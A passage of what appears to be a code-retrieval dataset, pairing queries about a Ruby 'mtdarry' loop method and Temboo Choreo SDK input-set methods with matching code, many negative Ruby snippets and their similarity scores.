"0.6550869",
"0.6542149",
"0.6532935",
"0.65161616",
"0.65123403",
"0.65092725",
"0.6501062",
"0.6501062",
"0.6496576",
"0.648882",
"0.64872646",
"0.6476225",
"0.64648813",
"0.64608794",
"0.64583653",
"0.64395547",
"0.64360625",
"0.6431407",
"0.64262444",
"0.6425266",
"0.64137524",
"0.6408468",
"0.64070785",
"0.64007145",
"0.6394367",
"0.63935375",
"0.63926184",
"0.63922495",
"0.63918954",
"0.63907164",
"0.63873416"
] | 0.64955616 | 78 |
def mtdarry 10.times do |num| puts num end end mtdarry and the program: def mtdarry 10.times do |num| puts num end end puts mtdarry | def mtdarry
10.times do |num|
puts num
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def mtdarry\n 10.times do |num|\n puts num\n end\nend",
"def using_times\n $num.times do\n puts \"Wingardium Leviosa\"\n end\nend",
"def integer_print_10\n 10.times do |x|\n puts x \n end \nend",
"def pTimes2(statement,num)\n num.times do\n puts statement\n end\nend",
"def using_times \n 7.times do \n puts \"Wingardium Leviosa\"\n end\nend",
"def meow (num)\n num.times {puts\"Meowww\"}\n end",
"def using_times\n 7.times do\n puts \"Wingardium Leviosa\"\n end\nend",
"def using_times\n\t7.times do\n\t puts \"Wingardium Leviosa\"\n\tend\nend",
"def mi_funcion(parametro)\n parametro.times do\n puts \"Ruby es raramente elegante.\"\n end\nend",
"def integer_print_10\n 10.times do |x|\n print x\n end\nend",
"def mtdarry \n 10.times do |num| \n p num\n square = num * num \n p square\n return square\n #return num, square if num > 7\n end \nend",
"def pTimes(statement, num)\n # //define a function using def keyword\n\tnum.times do \n\tputs statement\n\t# statement = gets.chomp //waits for the user input\n\tend\nend",
"def q1_print_times(str, num)\n num.times {|num_here|\n p str\n }\nend",
"def p_times2(statement,num)\n num.times do\n puts statement\n end\nend",
"def repeat_hi(num)\n num.times { puts \"hi\" }\nend",
"def say_ruby_ten_times\n phrase = \"Hello World\"\n 10.times do puts phrase\n end\nend",
"def repeat_hi2(num)\n num.times { puts 'hi' }\nend",
"def p_times(statement, num)\n num.times { puts statement }\nend",
"def p_times (statement, num) \n num.times do\n puts statement\n end #do and end are like opening and closing {}\nend",
"def loop_message_n_times(array,n)\n n.times{puts array}\n \n \n\nend",
"def repeat(string, int)\r\n int.times {puts string}\r\nend",
"def repeat(str, num)\n puts num.times {puts str}\nend",
"def looper \r\n for i in 1..10\r\n puts i\r\n end\r\nend",
"def timeCy\n (10).times {|var| puts var}\n end",
"def p_times(statement, num)\n (num).times do\n puts statement\n end\nend",
"def mtdarry \n 10.times do |num| \n square = num * num \n return num, square if num > 5 \n end \n end",
"def greet(n)\n n.times do |x|\n puts \"Hello: #{x}\"\n end\nend",
"def speak(num)\n num.times{|x| puts \"Woof!\"}\n end",
"def say_hello_ten_times\n phrase = \"Hello World\"\n 10.times do\n puts phrase\n end \nend",
"def repeat_ho(num)\n num.times { puts 'hi' }\n end",
"def repeat(word, num)\n num.times { |_| puts word }\nend",
"def repeat(string, int)\n int.times{puts string}\nend",
"def speak(int)\n \tint.times do |x|\n \tp \"Woof!\"\n \tend\n end",
"def looper\n for i in 1..10\n puts i\n end\nend",
"def output_times_table(number)\n\n puts \"Is #{number} times table:\"\n (1..12).each do |multiplier|\n total = number * multiplier\n puts \"#{multiplier} x #{number} = #{total}\"\n end\n puts \"\\n\"\n\nend",
"def say_four_times str\n 4.times do \n puts str\n end\n str * 4\nend",
"def repeat(word, num)\n num.times { p word }\nend",
"def repeat (string, integer)\n integer.times{puts string}\nend",
"def repeat(word, number)\n number.times { puts word}\nend",
"def repeat(string, num)\n num.times {puts string}\nend",
"def repeat(str, num)\n num.times { puts str }\nend",
"def repeat(str, num)\n num.times { puts str }\nend",
"def repeat(str, num)\n num.times { puts str }\nend",
"def repeat(str, num)\n num.times do | i |\n puts str\n end\nend",
"def say_hello_ten_times #method signature\n phrase = \"Hello World\"\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n puts phrase\n end",
"def repeat_yourself(string,number)\n number.times { puts string }\nend",
"def times_iterator(number_of_times)\n number_of_times.times do\n puts \"Welcome to Flatiron School's Web Development Course!\"\n end\nend",
"def repeat(string, number)\n number.times {puts string}\nend",
"def repeat(string, number)\n number.times {puts string}\nend",
"def repeat(string, number)\r\n number.times do\r\n puts string\r\n end\r\nend",
"def repeat(word, number)\n number.times { puts word }\nend",
"def array_print_10\nend",
"def repeat(str, int)\n int.times do\n puts str\n end\nend",
"def times_iterator(number_of_times)\n 7.times do\n puts \"Welcome to Flatiron School's Web Development Course!\"\n end\nend",
"def multiply_table(number)\n\tx = (0..10).to_a\n\tx.each { |i| puts \"#{i} * #{number} = #{i * number}\"}\nend",
"def speak(num)\n num.times do\n p \"Woof!\"\n end\n end",
"def number_in_a_can(number = 10)\n number.times { |n| puts \"The number is #{n}\" }\nend",
"def repeat(str, int)\n int.times { puts str }\nend",
"def main\n test_num = gets.chomp.to_i\n test_num.times do |t|\n # input\n num = gets.chomp.to_i\n\n ans = calc(num)\n \n puts \"Case ##{t+1}: #{ans}\"\n end\nend",
"def repeat(string, int)\n int.times { puts string }\nend",
"def speak(integer)\n integer.times do\n puts \"Woof!\"\n end\n end",
"def print_thrice(number)\n 3.times do\n puts number\n end\n end",
"def repeat(string, integer)\n integer.times do \n puts string\n end\nend",
"def repeat(string, num)\n num.times { puts string }\nend",
"def repeat(string, num)\n num.times { puts string }\nend",
"def repeat(string, number)\n number.times{ puts string }\nend",
"def L\n 3.times { R() }\n end",
"def say_hello_world_five_times\n puts \"Hello World!\"\n puts \"Hello World!\"\n puts \"Hello World!\"\n puts \"Hello World!\"\n puts \"Hello World!\"\nend",
"def repeat(string, int)\n int.times do\n p string\n end\nend",
"def puts_1_to_10\n (1..10).each { |i| puts i }\nend",
"def puts_1_to_10\n (1..10).each { |i| puts i }\nend",
"def repeater( num=1, &block )\n\n\n\tnum.times do\n\n\t yield if block_given?\n\n\tend\n\n\n\nend",
"def repeat(string, num)\n num.times do\n puts string\n end\nend",
"def example num\n puts\n puts \"------ Example #{num} ------\"\nend",
"def main\n\n\tnum_mult\n\nend",
"def n_times(n)\r\n#+++solution+++\r\n n.times do yield() end\r\n#---solution---\r\nend",
"def times_table(rows)\n 1.upto(rows) do |y|\n puts\n 1.upto(rows) { |x| print \"#{x * y} \"}\n end\nend",
"def repeat(string, integer)\n integer.times { puts string }\nend",
"def repeat_yourself(word, count)\n count.times {puts word}\n end",
"def scream(number)\r\n\r\n if number == 0\r\n print \"crickets\"\r\n elsif number > 0\r\n print \"lol\"\r\n number.times do\r\n print \"ol\"\r\n end\r\n end\r\n \r\n\r\nend",
"def repeat(str, int)\n int.times { p str }\nend",
"def number(num)\n\ta = 8\n\tputs \"method #{a}\"\nend",
"def another_method\n [1, 2, 3].each do |num|\n puts num * 2\n end\n puts 'hi'\nend",
"def bark_var(i)\n i.times do\n puts \"wow!\"\n end\n end",
"def como_metodos_sin_nombre\n 5.times do\n puts \"Soy un bloque de codigo y no una funcion\"\n end\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def repeat(string, number)\n number.times { puts string }\nend",
"def repeat(string, number)\n number.times { puts string }\nend",
"def main\r\n call_block {|str, num| puts str + ' ' + num.to_s}\r\n end",
"def mtdarry\n 10.times do |num|\n square = num * num\n return num, square if num > 5\n end\nend",
"def repeat(string, number)\n number.times do\n p string\n end\nend",
"def mtdarray\n\t10.times do |num|\n\t\tsquare = num + num\n\t\treturn num, square if num > 5\n\tend\nend"
] | [
"0.8742151",
"0.7306706",
"0.7197621",
"0.7103111",
"0.7101599",
"0.7080987",
"0.6975314",
"0.6974177",
"0.69270074",
"0.69239324",
"0.69062734",
"0.6882265",
"0.6867385",
"0.6845959",
"0.6826359",
"0.6723819",
"0.67074376",
"0.67071843",
"0.66990864",
"0.66575956",
"0.66427517",
"0.663613",
"0.66260135",
"0.6620664",
"0.6616903",
"0.6613664",
"0.65723723",
"0.65613425",
"0.6504493",
"0.65009785",
"0.6488744",
"0.6469133",
"0.64659",
"0.64592427",
"0.6445339",
"0.6428039",
"0.6416742",
"0.6386842",
"0.63854957",
"0.63767034",
"0.6349878",
"0.6349878",
"0.6349878",
"0.6346618",
"0.63308114",
"0.63276947",
"0.6327469",
"0.6325686",
"0.6325686",
"0.63201004",
"0.6319705",
"0.6309017",
"0.63019013",
"0.63006634",
"0.6295372",
"0.6288102",
"0.6287885",
"0.62725985",
"0.6263097",
"0.62582636",
"0.62485105",
"0.62471676",
"0.62403935",
"0.62287945",
"0.62287945",
"0.62216777",
"0.62180525",
"0.6217914",
"0.62159586",
"0.6206645",
"0.6206645",
"0.6203551",
"0.6201986",
"0.61973375",
"0.6194379",
"0.6186767",
"0.61837006",
"0.6178031",
"0.61710376",
"0.6166462",
"0.61569625",
"0.61466885",
"0.61459154",
"0.6130701",
"0.6126097",
"0.61149335",
"0.61149335",
"0.61149335",
"0.61149335",
"0.61149335",
"0.61149335",
"0.61149335",
"0.61105865",
"0.61105865",
"0.61105824",
"0.6105813",
"0.6097367",
"0.6092408"
] | 0.8713106 | 3 |
Obtain an InputSet object, used to define inputs for an execution of this Choreo. | def new_input_set()
return AddURLInputSet.new()
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def execute(input_set = nil)\n # If the inputs are not configured, create a blank set.\n if input_set == nil\n input_set = InputSet.new()\n end\n param_map = {\"source_id\" => TembooSession.get_identifier()}\n body = input_set.format_inputs()\n results = @session.post_request(get_path(), body, param_map)\n return results.body()\n end",
"def new_input_set()\n return MathAndScienceInputSet.new()\n end",
"def new_input_set()\n return SetDescriptionInputSet.new()\n end",
"def new_input_set()\n return ContractsInputSet.new()\n end",
"def input\n @input ||= Set.new\n end",
"def new_input_set()\n return GetEtymologyInputSet.new()\n end",
"def new_input_set()\n return GetDefinitionsInputSet.new()\n end",
"def new_input_set()\n return GetUserInputSet.new()\n end",
"def new_input_set()\n return ExecutePaymentInputSet.new()\n end",
"def new_input_set()\n return MentionsInputSet.new()\n end",
"def new_input_set()\n return UserInputSet.new()\n end",
"def new_input_set()\n return GetExamplesInputSet.new()\n end",
"def new_input_set()\n return CreateUserInputSet.new()\n end",
"def new_input_set()\n return GetContextInputSet.new()\n end",
"def new_input_set()\n return GetInvoiceInputSet.new()\n end",
"def new_input_set()\n return HealthAndSportsInputSet.new()\n end",
"def new_input_set()\n return MusicAndTheArtsInputSet.new()\n end",
"def new_input_set()\n return DownloadSpreadsheetInputSet.new()\n end",
"def new_input_set()\n return GetDeploymentInputSet.new()\n end",
"def new_input_set()\n return GetByZipInputSet.new()\n end",
"def new_input_set()\n return UpdateUserInputSet.new()\n end",
"def new_input_set()\n return RetrieveUserInputSet.new()\n end",
"def new_input_set()\n return CalculateTariffInputMetaDataInputSet.new()\n end",
"def new_input_set()\n return GetByCoordinatesInputSet.new()\n end",
"def new_input_set()\n return SetLocationInputSet.new()\n end",
"def new_input_set()\n return GenomesInputSet.new()\n end",
"def new_input_set()\n return AssistanceInputSet.new()\n end",
"def new_input_set()\n return GetFileInformationInputSet.new()\n end",
"def new_input_set()\n return GetCurrentUserInputSet.new()\n end",
"def new_input_set()\n return GetPhotosInputSet.new()\n end",
"def new_input_set()\n return GetFileInfoInputSet.new()\n end",
"def new_input_set()\n return EnrollmentDemographicsInputSet.new()\n end",
"def new_input_set()\n return ResidenceInputSet.new()\n end",
"def new_input_set()\n return GetCommitteeInputSet.new()\n end",
"def new_input_set()\n return GetDataStreamInputSet.new()\n end",
"def new_input_set()\n return GetWeatherInputSet.new()\n end",
"def new_input_set()\n return ZipFileInputSet.new()\n end",
"def new_input_set()\n return HistoryAndCivicsInputSet.new()\n end",
"def new_input_set()\n return GetDocumentInputSet.new()\n end",
"def new_input_set()\n return FindInputSet.new()\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = SetDescriptionResultSet.new(resp)\n return results\n end",
"def new_input_set()\n return GetTerritoryInputSet.new()\n end",
"def new_input_set()\n return CreateEntryInputSet.new()\n end",
"def new_input_set()\n return CreateEntryInputSet.new()\n end",
"def new_input_set()\n return CreateEntryInputSet.new()\n end",
"def new_input_set()\n return CreateEntryInputSet.new()\n end",
"def new_input_set()\n return CreateEntryInputSet.new()\n end",
"def new_input_set()\n return BulkUpdateInputSet.new()\n end",
"def new_input_set()\n return GetTopExampleInputSet.new()\n end",
"def new_input_set()\n return FinancialAidInputSet.new()\n end",
"def new_input_set()\n return ListAllSpreadsheetsInputSet.new()\n end",
"def new_input_set()\n return AutomobileInputSet.new()\n end",
"def new_input_set()\n return PetInputSet.new()\n end",
"def new_input_set()\n return ShipmentInputSet.new()\n end",
"def inputs\n @inputs ||= Scenario::Inputs.new(self)\n end",
"def set_input\n @input = Input.find(params[:id])\n end",
"def set_input\n @input = Input.find(params[:id])\n end",
"def set_input\n @input = Input.find(params[:id])\n end",
"def set_input\n @input = Input.find(params[:id])\n end",
"def new_input_set()\n return CopyFileInputSet.new()\n end",
"def new_input_set()\n return QueryInputSet.new()\n end",
"def new_input_set()\n return PackageServicesRequestInputSet.new()\n end",
"def new_input_set()\n return QueryInputSet.new()\n end",
"def new_input_set()\n return GetAccessTokenInputSet.new()\n end",
"def new_input_set()\n return GetTariffsInputSet.new()\n end",
"def new_input_set()\n return InitializeOAuthInputSet.new()\n end",
"def new_input_set()\n return InitializeOAuthInputSet.new()\n end",
"def new_input_set()\n return InitializeOAuthInputSet.new()\n end",
"def new_input_set()\n return InitializeOAuthInputSet.new()\n end",
"def new_input_set()\n return InitializeOAuthInputSet.new()\n end",
"def new_input_set()\n return InitializeOAuthInputSet.new()\n end",
"def new_input_set()\n return GetBalanceInputSet.new()\n end",
"def new_input_set()\n return UpdateActivityInputSet.new()\n end",
"def new_input_set()\n return UpdateActivityInputSet.new()\n end",
"def new_input_set()\n return UpdateActivityInputSet.new()\n end",
"def new_input_set()\n return GetStudentStatsInputSet.new()\n end",
"def new_input_set()\n return QueryInputSet.new()\n end",
"def new_input_set()\n return PurchaseInputSet.new()\n end",
"def new_input_set()\n return GetBalanceInputSet.new()\n end",
"def new_input_set()\n return FindByCoordinatesInputSet.new()\n end",
"def new_input_set()\n return FindByCoordinatesInputSet.new()\n end",
"def new_input_set()\n return CopyFileInputSet.new()\n end",
"def new_input_set()\n return GetWeatherByCoordinatesInputSet.new()\n end",
"def new_input_set()\n return ListSharedSpreadsheetsInputSet.new()\n end",
"def new_input_set()\n return GetDatabaseInputSet.new()\n end",
"def new_input_set()\n return UpdateFileInputSet.new()\n end",
"def new_input_set()\n return UpdateSettingsInputSet.new()\n end",
"def new_input_set()\n return GetLocationInputSet.new()\n end",
"def new_input_set()\n return GetMyRecordsInputSet.new()\n end",
"def input_conv_set\n @shell_input_procs << proc do |args|\n if args[0] && args[0].include?('=')\n ['set'] + args.shift.split('=') + args\n else\n args\n end\n end\n self\n end",
"def new_input_set()\n return ProcessDirectPaymentInputSet.new()\n end",
"def new_input_set()\n return RetrieveActivitiesInputSet.new()\n end",
"def new_input_set()\n return RetrieveActivitiesInputSet.new()\n end",
"def new_input_set()\n return MassPaymentsInputSet.new()\n end",
"def new_input_set()\n return MoveFileOrFolderInputSet.new()\n end",
"def new_input_set()\n return InsertInputSet.new()\n end",
"def new_input_set()\n return GetTokenInputSet.new()\n end",
"def new_input_set()\n return UpdateEntryInputSet.new()\n end",
"def new_input_set()\n return UpdateEntryInputSet.new()\n end",
"def new_input_set()\n return UpdateEntryInputSet.new()\n end",
"def new_input_set()\n return UpdateEntryInputSet.new()\n end"
] | [
"0.66497",
"0.6483957",
"0.6319194",
"0.63119155",
"0.62781215",
"0.6270611",
"0.62674415",
"0.6260382",
"0.62576175",
"0.62385845",
"0.62293905",
"0.6219069",
"0.6185865",
"0.61762726",
"0.61523426",
"0.61429346",
"0.61131257",
"0.6100583",
"0.60944587",
"0.6078606",
"0.6077781",
"0.60701245",
"0.606116",
"0.60604453",
"0.60544485",
"0.6043399",
"0.60309035",
"0.60242593",
"0.6015852",
"0.60094243",
"0.6007352",
"0.5993843",
"0.5968485",
"0.5949067",
"0.5948022",
"0.59332806",
"0.5932821",
"0.5929373",
"0.59289706",
"0.59180695",
"0.5917539",
"0.5910373",
"0.59073514",
"0.59073514",
"0.59073514",
"0.59073514",
"0.59073514",
"0.59038603",
"0.5894226",
"0.5884498",
"0.58844876",
"0.58826524",
"0.5874958",
"0.5874178",
"0.58664834",
"0.58653915",
"0.58653915",
"0.58653915",
"0.58653915",
"0.5859559",
"0.58583534",
"0.58568496",
"0.58567107",
"0.5855941",
"0.5851572",
"0.5846944",
"0.58451885",
"0.58451885",
"0.58451885",
"0.58451885",
"0.58451885",
"0.58441126",
"0.5842277",
"0.5842277",
"0.5842277",
"0.5841737",
"0.58400184",
"0.58393395",
"0.58381844",
"0.58348536",
"0.58348536",
"0.58322555",
"0.5830102",
"0.5814216",
"0.5814014",
"0.58123386",
"0.5811258",
"0.5810001",
"0.5803499",
"0.5802747",
"0.5800833",
"0.57994205",
"0.57994205",
"0.579249",
"0.5791174",
"0.5790859",
"0.57864636",
"0.57859343",
"0.57859343",
"0.57859343",
"0.57859343"
] | 0.0 | -1 |
Execute the Choreo using the specified InputSet as parameters, wait for the Choreo to complete and return a ResultSet containing the execution results. | def execute(input_set = nil)
resp = super(input_set)
results = AddURLResultSet.new(resp)
return results
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = QueryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = SetDescriptionResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ParseResponseResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = FindResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ResidenceResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ParseResponseResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetEtymologyResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ContractsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetDatabaseResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GenomesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ExecutePaymentResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = FinancialAidResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = SetLocationResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveRecordsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetRecordsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ShowResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ListSetsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MathAndScienceResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MentionsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = BulkUpdateResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UserResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = AutomobileResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GBDResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = NextUploadServerResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RecoveryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = AncestryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateEntryResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = UpdateCollectionResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetCollectionResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = DietResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetRecordsByIdResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ClosestResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = AvailableResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetMyRecordsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MassPaymentsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivitiesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivitiesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = AssistanceResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MusicAndTheArtsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = DownloadSpreadsheetResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveUserResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetByCoordinatesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ElectricityUseResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = FlightResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = CloseThreadResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = SharePrivateResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RecordActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RecordActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RecordActivityResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveEntriesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RailTripResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MassPaymentsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GenotypeResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = HistoryAndCivicsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = FindByCoordinatesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = FindByCoordinatesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetExamplesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetCommitteeResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveActivitesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = FindByURLResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetUserResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = ProcessDirectPaymentResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = InsertResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = LookupMajorsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetDataStreamResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetContextResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = NamesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = AdSearchResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = CreateDatabaseResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MatchIDsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = MatchIDsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = SearchResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = SearchResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = LookupResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = PetResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = QueryArticlesResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = RetrieveFriendsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetSearchRecordsResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetDocumentResultSet.new(resp)\n return results\n end",
"def execute(input_set = nil)\n resp = super(input_set)\n results = GetPriceResultSet.new(resp)\n return results\n end"
] | [
"0.7595022",
"0.75631005",
"0.756171",
"0.7473159",
"0.72565645",
"0.72401345",
"0.72373563",
"0.71919423",
"0.7141123",
"0.71391577",
"0.7119281",
"0.7119281",
"0.7119281",
"0.7119281",
"0.7119281",
"0.71159613",
"0.7106211",
"0.7098456",
"0.7098221",
"0.70703983",
"0.70693576",
"0.7063616",
"0.70543027",
"0.70506024",
"0.7048299",
"0.704786",
"0.70430976",
"0.70403147",
"0.7033699",
"0.7033699",
"0.7033699",
"0.70000565",
"0.6995594",
"0.6981439",
"0.6978489",
"0.6978489",
"0.6978489",
"0.6974814",
"0.69729173",
"0.6964244",
"0.6964244",
"0.6964244",
"0.6964244",
"0.6964244",
"0.69625884",
"0.69605756",
"0.69603",
"0.695665",
"0.69303113",
"0.6924957",
"0.6924383",
"0.69131637",
"0.69089466",
"0.69089466",
"0.6904793",
"0.6901623",
"0.6901278",
"0.69003993",
"0.6894463",
"0.6894188",
"0.6885133",
"0.6884233",
"0.68819034",
"0.68812805",
"0.68812805",
"0.68812805",
"0.6879524",
"0.6879524",
"0.6879524",
"0.6879524",
"0.6879524",
"0.6875431",
"0.68746024",
